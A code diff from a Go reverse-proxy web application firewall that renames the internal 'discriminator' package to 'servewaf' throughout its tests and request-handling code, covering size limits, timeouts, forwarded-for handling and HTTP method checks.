// address never has an IPv6 zone, which discriminator refuses.
|
||||
// address never has an IPv6 zone, which servewaf refuses.
|
||||
func clientAddress(
|
||||
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
|
||||
) netip.Addr {
|
||||
|
||||
@@ -16,9 +16,9 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
// post is the start of a POST whose headers end with what follows it.
|
||||
@@ -58,7 +58,7 @@ func TestServerHasTheFixedLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing.T) {
|
||||
func TestABodyAnnouncedOverItsLimitIsRefusedOnceServeWAFAllowsIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -71,7 +71,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
@@ -100,7 +100,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceDiscriminatorAllowsIt(t *testing
|
||||
func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestSize: "1K",
|
||||
@@ -109,7 +109,7 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
bytes.NewReader(make([]byte, 1025))))
|
||||
if got.status != http.StatusForbidden {
|
||||
t.Errorf("answered %+v, want discriminator's 403", got)
|
||||
t.Errorf("answered %+v, want servewaf's 403", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -132,7 +132,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
|
||||
var asked atomic.Bool
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
asked.Store(true)
|
||||
greet(w, r)
|
||||
@@ -165,7 +165,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
|
||||
t.Run("announced, is refused", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(contentLengthHeader, strconv.Itoa(len(large)))
|
||||
_, _ = io.WriteString(w, large)
|
||||
@@ -187,7 +187,7 @@ func TestAResponseOverItsLimit(t *testing.T) {
|
||||
t.Run("not announced, is cut off", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, large[:1])
|
||||
_ = http.NewResponseController(w).Flush()
|
||||
@@ -217,7 +217,7 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.
|
||||
|
||||
const announced = "2048"
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(contentLengthHeader, announced)
|
||||
})
|
||||
@@ -240,7 +240,7 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
|
||||
t.Run(setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
setting: "off",
|
||||
@@ -251,7 +251,7 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
|
||||
wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
strings.NewReader("a body"))))
|
||||
|
||||
if got := get(t, addr, discriminator.HealthPath); got.status != http.StatusOK {
|
||||
if got := get(t, addr, servewaf.HealthPath); got.status != http.StatusOK {
|
||||
t.Errorf("answered %+v, want rproxy's own 200", got)
|
||||
}
|
||||
})
|
||||
@@ -270,7 +270,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "500",
|
||||
@@ -289,7 +289,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("discriminator was asked")
|
||||
t.Error("servewaf was asked")
|
||||
}
|
||||
|
||||
standIn.wantNoReport(t)
|
||||
@@ -300,7 +300,7 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
||||
func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -314,7 +314,7 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("discriminator was asked")
|
||||
t.Error("servewaf was asked")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -334,7 +334,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -365,7 +365,7 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("discriminator was asked")
|
||||
t.Error("servewaf was asked")
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -404,7 +404,7 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
||||
announced = 100 * questionBodyMaxBytes
|
||||
)
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
})
|
||||
@@ -448,13 +448,13 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
||||
name, target string
|
||||
status int
|
||||
}{
|
||||
{"discriminator's deny", "/", http.StatusForbidden},
|
||||
{"servewaf's deny", "/", http.StatusForbidden},
|
||||
{"rproxy's own 400", "x:admin", http.StatusBadRequest},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||
@@ -484,7 +484,7 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
||||
func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "3000",
|
||||
@@ -553,7 +553,7 @@ func TestAnAppTooSlowToTakeTheRequestIsAnswered504(t *testing.T) {
|
||||
writeSize = 32 << 10
|
||||
)
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
addr, _ := startRProxy(t, standIn.URL, startAppThatTakesNothing(t),
|
||||
map[string]string{maxRequestTime: "3000"})
|
||||
|
||||
@@ -580,7 +580,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
release := make(chan struct{})
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
<-release
|
||||
})
|
||||
@@ -607,7 +607,7 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
|
||||
const start = "the start"
|
||||
|
||||
release := make(chan struct{})
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, start)
|
||||
_ = http.NewResponseController(w).Flush()
|
||||
@@ -656,7 +656,7 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
|
||||
writeSize = 32 << 10
|
||||
)
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
part := make([]byte, writeSize)
|
||||
|
||||
@@ -693,7 +693,7 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
|
||||
func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||
|
||||
got := get(t, addr, "/")
|
||||
@@ -709,7 +709,7 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
|
||||
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
})
|
||||
@@ -732,7 +732,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
working := make(chan struct{})
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
close(working)
|
||||
<-r.Context().Done()
|
||||
@@ -773,7 +773,7 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
|
||||
|
||||
const answer = "the end of a long answer"
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
_ = http.NewResponseController(w).Flush()
|
||||
@@ -802,14 +802,14 @@ func TestAVisitorThatStopsSendingGetsAnAnswerRProxyGivesByTheDeadline(t *testing
|
||||
{"a deny", post, http.StatusForbidden},
|
||||
{
|
||||
"the health check",
|
||||
"GET " + discriminator.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
|
||||
"GET " + servewaf.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
|
||||
http.StatusOK,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
// The time limit is long enough for a loaded host to read the first part of
|
||||
// the body before it runs out.
|
||||
|
||||
@@ -12,11 +12,11 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
// questionBodyMaxBytes is the most of a body a question carries.
|
||||
const questionBodyMaxBytes = discriminator.QuestionBodyMaxBytes
|
||||
const questionBodyMaxBytes = servewaf.QuestionBodyMaxBytes
|
||||
|
||||
// chunked is the encoding of a body whose length the visitor did not announce.
|
||||
const chunked = "chunked"
|
||||
@@ -29,7 +29,7 @@ const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
|
||||
func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -42,9 +42,9 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
||||
req.Header.Set(forwardedForHeader, "198.51.100.1")
|
||||
req.Header.Set(forwardedProtoHeader, "gopher")
|
||||
req.Header.Set(requestIDHeader, "the-visitor's")
|
||||
req.Header.Set(discriminator.ClientHeader, "198.51.100.2")
|
||||
req.Header.Set(discriminator.PeerHeader, "198.51.100.3")
|
||||
req.Header.Set(discriminator.ContentLengthHeader, "12345")
|
||||
req.Header.Set(servewaf.ClientHeader, "198.51.100.2")
|
||||
req.Header.Set(servewaf.PeerHeader, "198.51.100.3")
|
||||
req.Header.Set(servewaf.ContentLengthHeader, "12345")
|
||||
// Go's client then sends no User-Agent, so that one in the question would be
|
||||
// Go's own.
|
||||
req.Header["User-Agent"] = nil
|
||||
@@ -68,8 +68,8 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
||||
want.Set(forwardedForHeader, "198.51.100.1")
|
||||
want.Set(forwardedProtoHeader, "http")
|
||||
want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
|
||||
want.Set(discriminator.ClientHeader, localhost)
|
||||
want.Set(discriminator.PeerHeader, localhost)
|
||||
want.Set(servewaf.ClientHeader, localhost)
|
||||
want.Set(servewaf.PeerHeader, localhost)
|
||||
|
||||
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
||||
t.Errorf("the question's headers are %v, want %v", asked.header, want)
|
||||
@@ -93,7 +93,7 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
forwarded := make(chan http.Header, 1)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
forwarded <- r.Header.Clone()
|
||||
@@ -110,8 +110,8 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
||||
wantGreeting(t, visit(t, req))
|
||||
|
||||
asked := standIn.question(t)
|
||||
if asked.header.Get(discriminator.ClientHeader) != tc.client ||
|
||||
asked.header.Get(discriminator.PeerHeader) != localhost ||
|
||||
if asked.header.Get(servewaf.ClientHeader) != tc.client ||
|
||||
asked.header.Get(servewaf.PeerHeader) != localhost ||
|
||||
asked.header.Get(forwardedForHeader) != visitor ||
|
||||
asked.header.Get(forwardedProtoHeader) != tc.proto {
|
||||
t.Errorf("the question's headers are %v", asked.header)
|
||||
@@ -157,7 +157,7 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
trustedProxies: localhost + "/32,10.0.0.0/8",
|
||||
@@ -167,8 +167,7 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
|
||||
req.Header[forwardedForHeader] = tc.header
|
||||
wantGreeting(t, visit(t, req))
|
||||
|
||||
if got := standIn.question(t).header.Get(discriminator.ClientHeader); got !=
|
||||
tc.client {
|
||||
if got := standIn.question(t).header.Get(servewaf.ClientHeader); got != tc.client {
|
||||
t.Errorf("the question names %s, want %s", got, tc.client)
|
||||
}
|
||||
})
|
||||
@@ -183,7 +182,7 @@ func randomBytes(n int) []byte {
|
||||
return body
|
||||
}
|
||||
|
||||
func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
|
||||
func TestFirst64KiBReachServeWAFAndTheWholeBodyTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, size := range []int{
|
||||
@@ -198,7 +197,7 @@ func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
body := randomBytes(size)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
received := make(chan []byte, 1)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
whole, _ := io.ReadAll(r.Body)
|
||||
@@ -244,7 +243,7 @@ func wantQuestionBody(
|
||||
len(want))
|
||||
}
|
||||
|
||||
values := asked.header.Values(discriminator.ContentLengthHeader)
|
||||
values := asked.header.Values(servewaf.ContentLengthHeader)
|
||||
|
||||
if announced {
|
||||
if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
|
||||
@@ -265,7 +264,7 @@ func wantQuestionBody(
|
||||
func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -276,7 +275,7 @@ func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||
t.Errorf("status %d, want discriminator's 403", status)
|
||||
t.Errorf("status %d, want servewaf's 403", status)
|
||||
}
|
||||
|
||||
if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
|
||||
@@ -307,14 +306,14 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
||||
t.Run(method+" "+tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||
t.Errorf("status %d, want discriminator's 403", status)
|
||||
t.Errorf("status %d, want servewaf's 403", status)
|
||||
}
|
||||
|
||||
asked := standIn.question(t)
|
||||
@@ -335,7 +334,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
t.Run(method, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
@@ -354,7 +353,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("discriminator was asked")
|
||||
t.Error("servewaf was asked")
|
||||
}
|
||||
|
||||
standIn.wantNoReport(t)
|
||||
@@ -362,7 +361,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
||||
func TestEachMethodPassedOnReachesServeWAFAndTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, method := range []string{
|
||||
@@ -373,7 +372,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
reached := make(chan string, 1)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
reached <- r.Method
|
||||
})
|
||||
@@ -385,7 +384,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
||||
}
|
||||
|
||||
if asked := standIn.question(t); asked.method != method {
|
||||
t.Errorf("discriminator was asked about %s", asked.method)
|
||||
t.Errorf("servewaf was asked about %s", asked.method)
|
||||
}
|
||||
|
||||
if atApp := <-reached; atApp != method {
|
||||
@@ -395,7 +394,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
||||
func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const host = "Host: site.example\r\n\r\n"
|
||||
@@ -417,7 +416,7 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -435,7 +434,7 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("discriminator was asked")
|
||||
t.Error("servewaf was asked")
|
||||
}
|
||||
|
||||
standIn.wantNoReport(t)
|
||||
@@ -443,12 +442,12 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAHostWithAPercentSignButNoBracketGoesToDiscriminator(t *testing.T) {
|
||||
func TestAHostWithAPercentSignButNoBracketGoesToServeWAF(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const host = "a%b"
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -469,7 +468,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
|
||||
|
||||
const want = "http"
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
trustedProxies: localhost + "/32",
|
||||
@@ -498,7 +497,7 @@ func TestAQuestionNamesNoZone(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||
trustedProxies: localhost + "/32",
|
||||
@@ -511,8 +510,8 @@ func TestAQuestionNamesNoZone(t *testing.T) {
|
||||
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
||||
|
||||
asked := standIn.question(t)
|
||||
if asked.header.Get(discriminator.ClientHeader) != tc.client ||
|
||||
asked.header.Get(discriminator.PeerHeader) != tc.peer {
|
||||
if asked.header.Get(servewaf.ClientHeader) != tc.client ||
|
||||
asked.header.Get(servewaf.PeerHeader) != tc.peer {
|
||||
t.Errorf("the question's headers are %v", asked.header)
|
||||
}
|
||||
|
||||
|
||||
+15
-15
@@ -16,16 +16,16 @@ import (
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
// flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
|
||||
// soon as it arrives.
|
||||
const flushAfterEachWrite time.Duration = -1
|
||||
|
||||
// reportStatusMax is the highest status discriminator takes in a report. An app can
|
||||
// reportStatusMax is the highest status servewaf takes in a report. An app can
|
||||
// send a higher one, up to 999, and the visitor gets that as it is.
|
||||
const reportStatusMax = 599
|
||||
|
||||
@@ -49,14 +49,14 @@ type request struct {
|
||||
peerTrusted bool
|
||||
start time.Time
|
||||
|
||||
// disposition is what is done with the request: discriminator's valid disposition,
|
||||
// disposition is what is done with the request: servewaf's valid disposition,
|
||||
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
||||
disposition string
|
||||
// answered is true when discriminator gave disposition, which makes a report due,
|
||||
// answered is true when servewaf gave disposition, which makes a report due,
|
||||
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
|
||||
answered bool
|
||||
byDefault bool
|
||||
// asn and country are discriminator's X-Client-ASN and X-Client-Country, for the
|
||||
// asn and country are servewaf's X-Client-ASN and X-Client-Country, for the
|
||||
// app.
|
||||
asn, country string
|
||||
|
||||
@@ -122,14 +122,14 @@ func (rq *request) answerHealth() {
|
||||
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
||||
// visitor that went away or stopped its sending side, the connection is closed
|
||||
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
|
||||
// read, so that discriminator is asked first; passToApp then refuses it.
|
||||
// read, so that servewaf is asked first; passToApp then refuses it.
|
||||
func (rq *request) readFirstPartOfBody() bool {
|
||||
if rq.body == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
|
||||
held, err := io.ReadAll(io.LimitReader(rq.body, discriminator.QuestionBodyMaxBytes))
|
||||
held, err := io.ReadAll(io.LimitReader(rq.body, servewaf.QuestionBodyMaxBytes))
|
||||
// From here on, the request timer ends a read of the rest of the body, so that
|
||||
// the answer can name the side rproxy was waiting on.
|
||||
_ = rq.rc.SetReadDeadline(time.Time{})
|
||||
@@ -192,7 +192,7 @@ func (rq *request) forward(ctx context.Context) {
|
||||
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
||||
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
||||
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
||||
// discriminator's.
|
||||
// servewaf's.
|
||||
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
||||
upstream := rq.h.config.UpstreamURL
|
||||
pr.Out.URL.Scheme = upstream.Scheme
|
||||
@@ -312,7 +312,7 @@ func (rq *request) answer(status int) {
|
||||
// handler has returned, after finish has written the log line and sent the report.
|
||||
// Without Content-Length, the flush would send the body in chunks, the last of
|
||||
// which would still wait for the handler. A HEAD's answer has no body, so any
|
||||
// Content-Length it has stays as discriminator gave it.
|
||||
// Content-Length it has stays as servewaf gave it.
|
||||
func (rq *request) send(status int, body []byte) {
|
||||
if rq.in.Method != http.MethodHead {
|
||||
rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
|
||||
@@ -347,7 +347,7 @@ func (rq *request) refuse(status int) {
|
||||
}
|
||||
}
|
||||
|
||||
// finish ends the request's time limits, writes its log line and, if discriminator
|
||||
// finish ends the request's time limits, writes its log line and, if servewaf
|
||||
// answered the question, sends the report. ctx is the request's own context.
|
||||
func (rq *request) finish(ctx context.Context) {
|
||||
rq.stopTimers()
|
||||
@@ -371,8 +371,8 @@ func (rq *request) finish(ctx context.Context) {
|
||||
Status: rq.out.status,
|
||||
RequestBytes: requestBytes,
|
||||
ResponseBytes: responseBytes,
|
||||
DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
|
||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||
DurationRequest: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
|
||||
DurationResponse: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||
Disposition: rq.disposition,
|
||||
DefaultDisposition: rq.byDefault,
|
||||
})
|
||||
